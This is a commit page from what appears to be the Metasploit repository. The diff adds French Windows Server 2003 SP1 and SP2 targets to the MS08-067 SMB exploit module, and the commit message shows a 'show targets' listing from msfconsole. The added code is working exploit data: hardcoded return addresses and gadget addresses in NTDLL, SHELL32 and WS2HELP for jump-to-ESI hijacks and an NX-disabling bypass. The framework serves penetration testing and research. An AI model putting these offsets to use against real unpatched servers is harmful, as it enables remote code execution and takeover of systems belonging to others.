Skip to content

Commit 7f0e334

Browse files
committed
Added Windows 2003 SP1 & SP2 French targets
msf exploit(ms08_067_netap) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows 2003 SP0 Universal 4 Windows XP SP2 English (AlwaysOn NX) [...] 62 Windows 2003 SP1 French (NX) 63 Windows 2003 SP2 English (NO NX) [...] 71 Windows 2003 SP2 French (NO NX) 72 Windows 2003 SP2 French (NX)
1 parent 9dde32f commit 7f0e334

File tree

1 file changed

+42
-0
lines changed

1 file changed

+42
-0
lines changed

modules/exploits/windows/smb/ms08_067_netapi.rb

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -621,6 +621,27 @@ def initialize(info = {})
621621
'Scratch' => 0x00020408,
622622
}
623623
],
624+
625+
# Standard return-to-ESI without NX bypass
626+
# Added by Omar MEZRAG - 0xFFFFFF
627+
[ 'Windows 2003 SP1 French (NO NX)',
628+
{
629+
'Ret' => 0x71ac1c40 ,
630+
'Scratch' => 0x00020408,
631+
}
632+
], # JMP ESI WS2HELP.DLL
633+
634+
# Brett Moore's crafty NX bypass for 2003 SP1
635+
# Added by Omar MEZRAG - 0xFFFFFF
636+
[ 'Windows 2003 SP1 French (NX)',
637+
{
638+
'RetDec' => 0x7CA2568C, # dec ESI, ret @SHELL32.DLL
639+
'RetPop' => 0x7CB47CF4, # push ESI, pop EBP, ret 4 @SHELL32.DLL
640+
'JmpESP' => 0x7C98FED3, # jmp ESP @NTDLL.DLL
641+
'DisableNX' => 0x7C95E413, # NX disable @NTDLL.DLL
642+
'Scratch' => 0x00020408,
643+
}
644+
],
624645

625646
# Standard return-to-ESI without NX bypass
626647
['Windows 2003 SP2 English (NO NX)',
@@ -697,6 +718,27 @@ def initialize(info = {})
697718
'Scratch' => 0x00020408
698719
}
699720
], # JMP ESI WS2HELP.DLL
721+
722+
# Standard return-to-ESI without NX bypass
723+
# Added by Omar MEZRAG - 0xFFFFFF
724+
[ 'Windows 2003 SP2 French (NO NX)',
725+
{
726+
'Ret' => 0x71AC2069,
727+
'Scratch' => 0x00020408,
728+
}
729+
], # CALL ESI WS2HELP.DLL
730+
731+
# Brett Moore's crafty NX bypass for 2003 SP2
732+
# Added by Omar MEZRAG - 0xFFFFFF
733+
[ 'Windows 2003 SP2 French (NX)',
734+
{
735+
'RetDec' => 0x7C98BEB8, # dec ESI, ret @NTDLL.DLL
736+
'RetPop' => 0x7CB3E84E, # push ESI, pop EBP, ret @SHELL32.DLL
737+
'JmpESP' => 0x7C98A01B, # jmp ESP @NTDLL.DLL
738+
'DisableNX' => 0x7C95F517, # NX disable @NTDLL.DLL
739+
'Scratch' => 0x00020408,
740+
}
741+
],
700742

701743
#
702744
# Missing Targets

0 commit comments

Comments
 (0)